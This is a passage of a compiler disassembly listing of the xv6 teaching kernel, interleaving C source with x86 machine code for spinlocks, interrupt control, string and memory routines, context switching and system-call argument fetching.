80104561: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104568: 8d 04 91 lea (%ecx,%edx,4),%eax
8010456b: 83 c1 28 add $0x28,%ecx
8010456e: 66 90 xchg %ax,%ax
pcs[i] = 0;
80104570: c7 00 00 00 00 00 movl $0x0,(%eax)
80104576: 83 c0 04 add $0x4,%eax
for(; i < 10; i++)
80104579: 39 c1 cmp %eax,%ecx
8010457b: 75 f3 jne 80104570 <getcallerpcs+0x40>
}
8010457d: 5b pop %ebx
8010457e: 5d pop %ebp
8010457f: c3 ret
80104580 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104580: 55 push %ebp
80104581: 89 e5 mov %esp,%ebp
80104583: 53 push %ebx
80104584: 83 ec 04 sub $0x4,%esp
80104587: 9c pushf
80104588: 5b pop %ebx
asm volatile("cli");
80104589: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
8010458a: e8 c1 f4 ff ff call 80103a50 <mycpu>
8010458f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
80104595: 85 c0 test %eax,%eax
80104597: 75 11 jne 801045aa <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
80104599: 81 e3 00 02 00 00 and $0x200,%ebx
8010459f: e8 ac f4 ff ff call 80103a50 <mycpu>
801045a4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
801045aa: e8 a1 f4 ff ff call 80103a50 <mycpu>
801045af: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
801045b6: 83 c4 04 add $0x4,%esp
801045b9: 5b pop %ebx
801045ba: 5d pop %ebp
801045bb: c3 ret
801045bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801045c0 <popcli>:
void
popcli(void)
{
801045c0: 55 push %ebp
801045c1: 89 e5 mov %esp,%ebp
801045c3: 83 ec 08 sub $0x8,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801045c6: 9c pushf
801045c7: 58 pop %eax
if(readeflags()&FL_IF)
801045c8: f6 c4 02 test $0x2,%ah
801045cb: 75 35 jne 80104602 <popcli+0x42>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801045cd: e8 7e f4 ff ff call 80103a50 <mycpu>
801045d2: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax)
801045d9: 78 34 js 8010460f <popcli+0x4f>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801045db: e8 70 f4 ff ff call 80103a50 <mycpu>
801045e0: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
801045e6: 85 d2 test %edx,%edx
801045e8: 74 06 je 801045f0 <popcli+0x30>
sti();
}
801045ea: c9 leave
801045eb: c3 ret
801045ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(mycpu()->ncli == 0 && mycpu()->intena)
801045f0: e8 5b f4 ff ff call 80103a50 <mycpu>
801045f5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
801045fb: 85 c0 test %eax,%eax
801045fd: 74 eb je 801045ea <popcli+0x2a>
asm volatile("sti");
801045ff: fb sti
}
80104600: c9 leave
80104601: c3 ret
panic("popcli - interruptible");
80104602: 83 ec 0c sub $0xc,%esp
80104605: 68 43 78 10 80 push $0x80107843
8010460a: e8 81 bd ff ff call 80100390 <panic>
panic("popcli");
8010460f: 83 ec 0c sub $0xc,%esp
80104612: 68 5a 78 10 80 push $0x8010785a
80104617: e8 74 bd ff ff call 80100390 <panic>
8010461c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104620 <holding>:
{
80104620: 55 push %ebp
80104621: 89 e5 mov %esp,%ebp
80104623: 56 push %esi
80104624: 53 push %ebx
80104625: 8b 75 08 mov 0x8(%ebp),%esi
80104628: 31 db xor %ebx,%ebx
pushcli();
8010462a: e8 51 ff ff ff call 80104580 <pushcli>
r = lock->locked && lock->cpu == mycpu();
8010462f: 8b 06 mov (%esi),%eax
80104631: 85 c0 test %eax,%eax
80104633: 74 10 je 80104645 <holding+0x25>
80104635: 8b 5e 08 mov 0x8(%esi),%ebx
80104638: e8 13 f4 ff ff call 80103a50 <mycpu>
8010463d: 39 c3 cmp %eax,%ebx
8010463f: 0f 94 c3 sete %bl
80104642: 0f b6 db movzbl %bl,%ebx
popcli();
80104645: e8 76 ff ff ff call 801045c0 <popcli>
}
8010464a: 89 d8 mov %ebx,%eax
8010464c: 5b pop %ebx
8010464d: 5e pop %esi
8010464e: 5d pop %ebp
8010464f: c3 ret
80104650 <acquire>:
{
80104650: 55 push %ebp
80104651: 89 e5 mov %esp,%ebp
80104653: 56 push %esi
80104654: 53 push %ebx
pushcli(); // disable interrupts to avoid deadlock.
80104655: e8 26 ff ff ff call 80104580 <pushcli>
if(holding(lk))
8010465a: 8b 5d 08 mov 0x8(%ebp),%ebx
8010465d: 83 ec 0c sub $0xc,%esp
80104660: 53 push %ebx
80104661: e8 ba ff ff ff call 80104620 <holding>
80104666: 83 c4 10 add $0x10,%esp
80104669: 85 c0 test %eax,%eax
8010466b: 0f 85 83 00 00 00 jne 801046f4 <acquire+0xa4>
80104671: 89 c6 mov %eax,%esi
asm volatile("lock; xchgl %0, %1" :
80104673: ba 01 00 00 00 mov $0x1,%edx
80104678: eb 09 jmp 80104683 <acquire+0x33>
8010467a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104680: 8b 5d 08 mov 0x8(%ebp),%ebx
80104683: 89 d0 mov %edx,%eax
80104685: f0 87 03 lock xchg %eax,(%ebx)
while(xchg(&lk->locked, 1) != 0)
80104688: 85 c0 test %eax,%eax
8010468a: 75 f4 jne 80104680 <acquire+0x30>
__sync_synchronize();
8010468c: f0 83 0c 24 00 lock orl $0x0,(%esp)
lk->cpu = mycpu();
80104691: 8b 5d 08 mov 0x8(%ebp),%ebx
80104694: e8 b7 f3 ff ff call 80103a50 <mycpu>
getcallerpcs(&lk, lk->pcs);
80104699: 8d 53 0c lea 0xc(%ebx),%edx
lk->cpu = mycpu();
8010469c: 89 43 08 mov %eax,0x8(%ebx)
ebp = (uint*)v - 2;
8010469f: 89 e8 mov %ebp,%eax
801046a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
801046a8: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx
801046ae: 81 f9 fe ff ff 7f cmp $0x7ffffffe,%ecx
801046b4: 77 1a ja 801046d0 <acquire+0x80>
pcs[i] = ebp[1]; // saved %eip
801046b6: 8b 48 04 mov 0x4(%eax),%ecx
801046b9: 89 0c b2 mov %ecx,(%edx,%esi,4)
for(i = 0; i < 10; i++){
801046bc: 83 c6 01 add $0x1,%esi
ebp = (uint*)ebp[0]; // saved %ebp
801046bf: 8b 00 mov (%eax),%eax
for(i = 0; i < 10; i++){
801046c1: 83 fe 0a cmp $0xa,%esi
801046c4: 75 e2 jne 801046a8 <acquire+0x58>
}
801046c6: 8d 65 f8 lea -0x8(%ebp),%esp
801046c9: 5b pop %ebx
801046ca: 5e pop %esi
801046cb: 5d pop %ebp
801046cc: c3 ret
801046cd: 8d 76 00 lea 0x0(%esi),%esi
801046d0: 8d 04 b2 lea (%edx,%esi,4),%eax
801046d3: 83 c2 28 add $0x28,%edx
801046d6: 8d 76 00 lea 0x0(%esi),%esi
801046d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pcs[i] = 0;
801046e0: c7 00 00 00 00 00 movl $0x0,(%eax)
801046e6: 83 c0 04 add $0x4,%eax
for(; i < 10; i++)
801046e9: 39 d0 cmp %edx,%eax
801046eb: 75 f3 jne 801046e0 <acquire+0x90>
}
801046ed: 8d 65 f8 lea -0x8(%ebp),%esp
801046f0: 5b pop %ebx
801046f1: 5e pop %esi
801046f2: 5d pop %ebp
801046f3: c3 ret
panic("acquire");
801046f4: 83 ec 0c sub $0xc,%esp
801046f7: 68 61 78 10 80 push $0x80107861
801046fc: e8 8f bc ff ff call 80100390 <panic>
80104701: eb 0d jmp 80104710 <release>
80104703: 90 nop
80104704: 90 nop
80104705: 90 nop
80104706: 90 nop
80104707: 90 nop
80104708: 90 nop
80104709: 90 nop
8010470a: 90 nop
8010470b: 90 nop
8010470c: 90 nop
8010470d: 90 nop
8010470e: 90 nop
8010470f: 90 nop
80104710 <release>:
{
80104710: 55 push %ebp
80104711: 89 e5 mov %esp,%ebp
80104713: 53 push %ebx
80104714: 83 ec 10 sub $0x10,%esp
80104717: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holding(lk))
8010471a: 53 push %ebx
8010471b: e8 00 ff ff ff call 80104620 <holding>
80104720: 83 c4 10 add $0x10,%esp
80104723: 85 c0 test %eax,%eax
80104725: 74 22 je 80104749 <release+0x39>
lk->pcs[0] = 0;
80104727: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
8010472e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
__sync_synchronize();
80104735: f0 83 0c 24 00 lock orl $0x0,(%esp)
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010473a: c7 03 00 00 00 00 movl $0x0,(%ebx)
}
80104740: 8b 5d fc mov -0x4(%ebp),%ebx
80104743: c9 leave
popcli();
80104744: e9 77 fe ff ff jmp 801045c0 <popcli>
panic("release");
80104749: 83 ec 0c sub $0xc,%esp
8010474c: 68 69 78 10 80 push $0x80107869
80104751: e8 3a bc ff ff call 80100390 <panic>
80104756: 66 90 xchg %ax,%ax
80104758: 66 90 xchg %ax,%ax
8010475a: 66 90 xchg %ax,%ax
8010475c: 66 90 xchg %ax,%ax
8010475e: 66 90 xchg %ax,%ax
80104760 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80104760: 55 push %ebp
80104761: 89 e5 mov %esp,%ebp
80104763: 57 push %edi
80104764: 53 push %ebx
80104765: 8b 55 08 mov 0x8(%ebp),%edx
80104768: 8b 4d 10 mov 0x10(%ebp),%ecx
if ((int)dst%4 == 0 && n%4 == 0){
8010476b: f6 c2 03 test $0x3,%dl
8010476e: 75 05 jne 80104775 <memset+0x15>
80104770: f6 c1 03 test $0x3,%cl
80104773: 74 13 je 80104788 <memset+0x28>
asm volatile("cld; rep stosb" :
80104775: 89 d7 mov %edx,%edi
80104777: 8b 45 0c mov 0xc(%ebp),%eax
8010477a: fc cld
8010477b: f3 aa rep stos %al,%es:(%edi)
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
8010477d: 5b pop %ebx
8010477e: 89 d0 mov %edx,%eax
80104780: 5f pop %edi
80104781: 5d pop %ebp
80104782: c3 ret
80104783: 90 nop
80104784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c &= 0xFF;
80104788: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
8010478c: c1 e9 02 shr $0x2,%ecx
8010478f: 89 f8 mov %edi,%eax
80104791: 89 fb mov %edi,%ebx
80104793: c1 e0 18 shl $0x18,%eax
80104796: c1 e3 10 shl $0x10,%ebx
80104799: 09 d8 or %ebx,%eax
8010479b: 09 f8 or %edi,%eax
8010479d: c1 e7 08 shl $0x8,%edi
801047a0: 09 f8 or %edi,%eax
asm volatile("cld; rep stosl" :
801047a2: 89 d7 mov %edx,%edi
801047a4: fc cld
801047a5: f3 ab rep stos %eax,%es:(%edi)
}
801047a7: 5b pop %ebx
801047a8: 89 d0 mov %edx,%eax
801047aa: 5f pop %edi
801047ab: 5d pop %ebp
801047ac: c3 ret
801047ad: 8d 76 00 lea 0x0(%esi),%esi
801047b0 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801047b0: 55 push %ebp
801047b1: 89 e5 mov %esp,%ebp
801047b3: 57 push %edi
801047b4: 56 push %esi
801047b5: 53 push %ebx
801047b6: 8b 5d 10 mov 0x10(%ebp),%ebx
801047b9: 8b 75 08 mov 0x8(%ebp),%esi
801047bc: 8b 7d 0c mov 0xc(%ebp),%edi
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801047bf: 85 db test %ebx,%ebx
801047c1: 74 29 je 801047ec <memcmp+0x3c>
if(*s1 != *s2)
801047c3: 0f b6 16 movzbl (%esi),%edx
801047c6: 0f b6 0f movzbl (%edi),%ecx
801047c9: 38 d1 cmp %dl,%cl
801047cb: 75 2b jne 801047f8 <memcmp+0x48>
801047cd: b8 01 00 00 00 mov $0x1,%eax
801047d2: eb 14 jmp 801047e8 <memcmp+0x38>
801047d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047d8: 0f b6 14 06 movzbl (%esi,%eax,1),%edx
801047dc: 83 c0 01 add $0x1,%eax
801047df: 0f b6 4c 07 ff movzbl -0x1(%edi,%eax,1),%ecx
801047e4: 38 ca cmp %cl,%dl
801047e6: 75 10 jne 801047f8 <memcmp+0x48>
while(n-- > 0){
801047e8: 39 d8 cmp %ebx,%eax
801047ea: 75 ec jne 801047d8 <memcmp+0x28>
return *s1 - *s2;
s1++, s2++;
}
return 0;
}
801047ec: 5b pop %ebx
return 0;
801047ed: 31 c0 xor %eax,%eax
}
801047ef: 5e pop %esi
801047f0: 5f pop %edi
801047f1: 5d pop %ebp
801047f2: c3 ret
801047f3: 90 nop
801047f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return *s1 - *s2;
801047f8: 0f b6 c2 movzbl %dl,%eax
}
801047fb: 5b pop %ebx
return *s1 - *s2;
801047fc: 29 c8 sub %ecx,%eax
}
801047fe: 5e pop %esi
801047ff: 5f pop %edi
80104800: 5d pop %ebp
80104801: c3 ret
80104802: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104810 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80104810: 55 push %ebp
80104811: 89 e5 mov %esp,%ebp
80104813: 56 push %esi
80104814: 53 push %ebx
80104815: 8b 45 08 mov 0x8(%ebp),%eax
80104818: 8b 5d 0c mov 0xc(%ebp),%ebx
8010481b: 8b 75 10 mov 0x10(%ebp),%esi
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010481e: 39 c3 cmp %eax,%ebx
80104820: 73 26 jae 80104848 <memmove+0x38>
80104822: 8d 0c 33 lea (%ebx,%esi,1),%ecx
80104825: 39 c8 cmp %ecx,%eax
80104827: 73 1f jae 80104848 <memmove+0x38>
s += n;
d += n;
while(n-- > 0)
80104829: 85 f6 test %esi,%esi
8010482b: 8d 56 ff lea -0x1(%esi),%edx
8010482e: 74 0f je 8010483f <memmove+0x2f>
*--d = *--s;
80104830: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
80104834: 88 0c 10 mov %cl,(%eax,%edx,1)
while(n-- > 0)
80104837: 83 ea 01 sub $0x1,%edx
8010483a: 83 fa ff cmp $0xffffffff,%edx
8010483d: 75 f1 jne 80104830 <memmove+0x20>
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
8010483f: 5b pop %ebx
80104840: 5e pop %esi
80104841: 5d pop %ebp
80104842: c3 ret
80104843: 90 nop
80104844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(n-- > 0)
80104848: 31 d2 xor %edx,%edx
8010484a: 85 f6 test %esi,%esi
8010484c: 74 f1 je 8010483f <memmove+0x2f>
8010484e: 66 90 xchg %ax,%ax
*d++ = *s++;
80104850: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
80104854: 88 0c 10 mov %cl,(%eax,%edx,1)
80104857: 83 c2 01 add $0x1,%edx
while(n-- > 0)
8010485a: 39 d6 cmp %edx,%esi
8010485c: 75 f2 jne 80104850 <memmove+0x40>
}
8010485e: 5b pop %ebx
8010485f: 5e pop %esi
80104860: 5d pop %ebp
80104861: c3 ret
80104862: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104870 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
80104870: 55 push %ebp
80104871: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104873: 5d pop %ebp
return memmove(dst, src, n);
80104874: eb 9a jmp 80104810 <memmove>
80104876: 8d 76 00 lea 0x0(%esi),%esi
80104879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104880 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
80104880: 55 push %ebp
80104881: 89 e5 mov %esp,%ebp
80104883: 57 push %edi
80104884: 56 push %esi
80104885: 8b 7d 10 mov 0x10(%ebp),%edi
80104888: 53 push %ebx
80104889: 8b 4d 08 mov 0x8(%ebp),%ecx
8010488c: 8b 75 0c mov 0xc(%ebp),%esi
while(n > 0 && *p && *p == *q)
8010488f: 85 ff test %edi,%edi
80104891: 74 2f je 801048c2 <strncmp+0x42>
80104893: 0f b6 01 movzbl (%ecx),%eax
80104896: 0f b6 1e movzbl (%esi),%ebx
80104899: 84 c0 test %al,%al
8010489b: 74 37 je 801048d4 <strncmp+0x54>
8010489d: 38 c3 cmp %al,%bl
8010489f: 75 33 jne 801048d4 <strncmp+0x54>
801048a1: 01 f7 add %esi,%edi
801048a3: eb 13 jmp 801048b8 <strncmp+0x38>
801048a5: 8d 76 00 lea 0x0(%esi),%esi
801048a8: 0f b6 01 movzbl (%ecx),%eax
801048ab: 84 c0 test %al,%al
801048ad: 74 21 je 801048d0 <strncmp+0x50>
801048af: 0f b6 1a movzbl (%edx),%ebx
801048b2: 89 d6 mov %edx,%esi
801048b4: 38 d8 cmp %bl,%al
801048b6: 75 1c jne 801048d4 <strncmp+0x54>
n--, p++, q++;
801048b8: 8d 56 01 lea 0x1(%esi),%edx
801048bb: 83 c1 01 add $0x1,%ecx
while(n > 0 && *p && *p == *q)
801048be: 39 fa cmp %edi,%edx
801048c0: 75 e6 jne 801048a8 <strncmp+0x28>
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
}
801048c2: 5b pop %ebx
return 0;
801048c3: 31 c0 xor %eax,%eax
}
801048c5: 5e pop %esi
801048c6: 5f pop %edi
801048c7: 5d pop %ebp
801048c8: c3 ret
801048c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801048d0: 0f b6 5e 01 movzbl 0x1(%esi),%ebx
return (uchar)*p - (uchar)*q;
801048d4: 29 d8 sub %ebx,%eax
}
801048d6: 5b pop %ebx
801048d7: 5e pop %esi
801048d8: 5f pop %edi
801048d9: 5d pop %ebp
801048da: c3 ret
801048db: 90 nop
801048dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801048e0 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
801048e0: 55 push %ebp
801048e1: 89 e5 mov %esp,%ebp
801048e3: 56 push %esi
801048e4: 53 push %ebx
801048e5: 8b 45 08 mov 0x8(%ebp),%eax
801048e8: 8b 5d 0c mov 0xc(%ebp),%ebx
801048eb: 8b 4d 10 mov 0x10(%ebp),%ecx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
801048ee: 89 c2 mov %eax,%edx
801048f0: eb 19 jmp 8010490b <strncpy+0x2b>
801048f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048f8: 83 c3 01 add $0x1,%ebx
801048fb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
801048ff: 83 c2 01 add $0x1,%edx
80104902: 84 c9 test %cl,%cl
80104904: 88 4a ff mov %cl,-0x1(%edx)
80104907: 74 09 je 80104912 <strncpy+0x32>
80104909: 89 f1 mov %esi,%ecx
8010490b: 85 c9 test %ecx,%ecx
8010490d: 8d 71 ff lea -0x1(%ecx),%esi
80104910: 7f e6 jg 801048f8 <strncpy+0x18>
;
while(n-- > 0)
80104912: 31 c9 xor %ecx,%ecx
80104914: 85 f6 test %esi,%esi
80104916: 7e 17 jle 8010492f <strncpy+0x4f>
80104918: 90 nop
80104919: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
*s++ = 0;
80104920: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
80104924: 89 f3 mov %esi,%ebx
80104926: 83 c1 01 add $0x1,%ecx
80104929: 29 cb sub %ecx,%ebx
while(n-- > 0)
8010492b: 85 db test %ebx,%ebx
8010492d: 7f f1 jg 80104920 <strncpy+0x40>
return os;
}
8010492f: 5b pop %ebx
80104930: 5e pop %esi
80104931: 5d pop %ebp
80104932: c3 ret
80104933: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104939: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104940 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80104940: 55 push %ebp
80104941: 89 e5 mov %esp,%ebp
80104943: 56 push %esi
80104944: 53 push %ebx
80104945: 8b 4d 10 mov 0x10(%ebp),%ecx
80104948: 8b 45 08 mov 0x8(%ebp),%eax
8010494b: 8b 55 0c mov 0xc(%ebp),%edx
char *os;
os = s;
if(n <= 0)
8010494e: 85 c9 test %ecx,%ecx
80104950: 7e 26 jle 80104978 <safestrcpy+0x38>
80104952: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104956: 89 c1 mov %eax,%ecx
80104958: eb 17 jmp 80104971 <safestrcpy+0x31>
8010495a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104960: 83 c2 01 add $0x1,%edx
80104963: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104967: 83 c1 01 add $0x1,%ecx
8010496a: 84 db test %bl,%bl
8010496c: 88 59 ff mov %bl,-0x1(%ecx)
8010496f: 74 04 je 80104975 <safestrcpy+0x35>
80104971: 39 f2 cmp %esi,%edx
80104973: 75 eb jne 80104960 <safestrcpy+0x20>
;
*s = 0;
80104975: c6 01 00 movb $0x0,(%ecx)
return os;
}
80104978: 5b pop %ebx
80104979: 5e pop %esi
8010497a: 5d pop %ebp
8010497b: c3 ret
8010497c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104980 <strlen>:
int
strlen(const char *s)
{
80104980: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104981: 31 c0 xor %eax,%eax
{
80104983: 89 e5 mov %esp,%ebp
80104985: 8b 55 08 mov 0x8(%ebp),%edx
for(n = 0; s[n]; n++)
80104988: 80 3a 00 cmpb $0x0,(%edx)
8010498b: 74 0c je 80104999 <strlen+0x19>
8010498d: 8d 76 00 lea 0x0(%esi),%esi
80104990: 83 c0 01 add $0x1,%eax
80104993: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104997: 75 f7 jne 80104990 <strlen+0x10>
;
return n;
}
80104999: 5d pop %ebp
8010499a: c3 ret
8010499b <swtch>:
8010499b: 8b 44 24 04 mov 0x4(%esp),%eax
8010499f: 8b 54 24 08 mov 0x8(%esp),%edx
801049a3: 55 push %ebp
801049a4: 53 push %ebx
801049a5: 56 push %esi
801049a6: 57 push %edi
801049a7: 89 20 mov %esp,(%eax)
801049a9: 89 d4 mov %edx,%esp
801049ab: 5f pop %edi
801049ac: 5e pop %esi
801049ad: 5b pop %ebx
801049ae: 5d pop %ebp
801049af: c3 ret
801049b0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801049b0: 55 push %ebp
801049b1: 89 e5 mov %esp,%ebp
801049b3: 53 push %ebx
801049b4: 83 ec 04 sub $0x4,%esp
801049b7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *curproc = myproc();
801049ba: e8 31 f1 ff ff call 80103af0 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
801049bf: 8b 00 mov (%eax),%eax
801049c1: 39 d8 cmp %ebx,%eax
801049c3: 76 1b jbe 801049e0 <fetchint+0x30>
801049c5: 8d 53 04 lea 0x4(%ebx),%edx
801049c8: 39 d0 cmp %edx,%eax
801049ca: 72 14 jb 801049e0 <fetchint+0x30>
return -1;
*ip = *(int*)(addr);
801049cc: 8b 45 0c mov 0xc(%ebp),%eax
801049cf: 8b 13 mov (%ebx),%edx
801049d1: 89 10 mov %edx,(%eax)
return 0;
801049d3: 31 c0 xor %eax,%eax
}
801049d5: 83 c4 04 add $0x4,%esp
801049d8: 5b pop %ebx
801049d9: 5d pop %ebp
801049da: c3 ret
801049db: 90 nop
801049dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
801049e0: b8 ff ff ff ff mov $0xffffffff,%eax
801049e5: eb ee jmp 801049d5 <fetchint+0x25>
801049e7: 89 f6 mov %esi,%esi
801049e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801049f0 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801049f0: 55 push %ebp
801049f1: 89 e5 mov %esp,%ebp
801049f3: 53 push %ebx
801049f4: 83 ec 04 sub $0x4,%esp
801049f7: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
801049fa: e8 f1 f0 ff ff call 80103af0 <myproc>
if(addr >= curproc->sz)
801049ff: 39 18 cmp %ebx,(%eax)
80104a01: 76 29 jbe 80104a2c <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
80104a03: 8b 4d 0c mov 0xc(%ebp),%ecx
80104a06: 89 da mov %ebx,%edx
80104a08: 89 19 mov %ebx,(%ecx)
ep = (char*)curproc->sz;
80104a0a: 8b 00 mov (%eax),%eax
for(s = *pp; s < ep; s++){
80104a0c: 39 c3 cmp %eax,%ebx
80104a0e: 73 1c jae 80104a2c <fetchstr+0x3c>
if(*s == 0)
80104a10: 80 3b 00 cmpb $0x0,(%ebx)
80104a13: 75 10 jne 80104a25 <fetchstr+0x35>
80104a15: eb 39 jmp 80104a50 <fetchstr+0x60>
80104a17: 89 f6 mov %esi,%esi
80104a19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a20: 80 3a 00 cmpb $0x0,(%edx)
80104a23: 74 1b je 80104a40 <fetchstr+0x50>
for(s = *pp; s < ep; s++){
80104a25: 83 c2 01 add $0x1,%edx
80104a28: 39 d0 cmp %edx,%eax
80104a2a: 77 f4 ja 80104a20 <fetchstr+0x30>
return -1;
80104a2c: b8 ff ff ff ff mov $0xffffffff,%eax
return s - *pp;
}
return -1;
}
80104a31: 83 c4 04 add $0x4,%esp
80104a34: 5b pop %ebx
80104a35: 5d pop %ebp
80104a36: c3 ret
80104a37: 89 f6 mov %esi,%esi
80104a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104a40: 83 c4 04 add $0x4,%esp
80104a43: 89 d0 mov %edx,%eax
80104a45: 29 d8 sub %ebx,%eax
80104a47: 5b pop %ebx
80104a48: 5d pop %ebp
80104a49: c3 ret
80104a4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(*s == 0)
80104a50: 31 c0 xor %eax,%eax
return s - *pp;
80104a52: eb dd jmp 80104a31 <fetchstr+0x41>
80104a54: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104a5a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104a60 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104a60: 55 push %ebp
80104a61: 89 e5 mov %esp,%ebp
80104a63: 56 push %esi
80104a64: 53 push %ebx
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104a65: e8 86 f0 ff ff call 80103af0 <myproc>
80104a6a: 8b 40 18 mov 0x18(%eax),%eax
80104a6d: 8b 55 08 mov 0x8(%ebp),%edx
80104a70: 8b 40 44 mov 0x44(%eax),%eax
80104a73: 8d 1c 90 lea (%eax,%edx,4),%ebx
struct proc *curproc = myproc();
80104a76: e8 75 f0 ff ff call 80103af0 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
80104a7b: 8b 00 mov (%eax),%eax
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104a7d: 8d 73 04 lea 0x4(%ebx),%esi
if(addr >= curproc->sz || addr+4 > curproc->sz)
80104a80: 39 c6 cmp %eax,%esi
80104a82: 73 1c jae 80104aa0 <argint+0x40>
80104a84: 8d 53 08 lea 0x8(%ebx),%edx
80104a87: 39 d0 cmp %edx,%eax
80104a89: 72 15 jb 80104aa0 <argint+0x40>
*ip = *(int*)(addr);
80104a8b: 8b 45 0c mov 0xc(%ebp),%eax
80104a8e: 8b 53 04 mov 0x4(%ebx),%edx
80104a91: 89 10 mov %edx,(%eax)
return 0;
80104a93: 31 c0 xor %eax,%eax
}
80104a95: 5b pop %ebx
80104a96: 5e pop %esi
80104a97: 5d pop %ebp
80104a98: c3 ret
80104a99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80104aa0: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104aa5: eb ee jmp 80104a95 <argint+0x35>
80104aa7: 89 f6 mov %esi,%esi
80104aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104ab0 <argptr>:
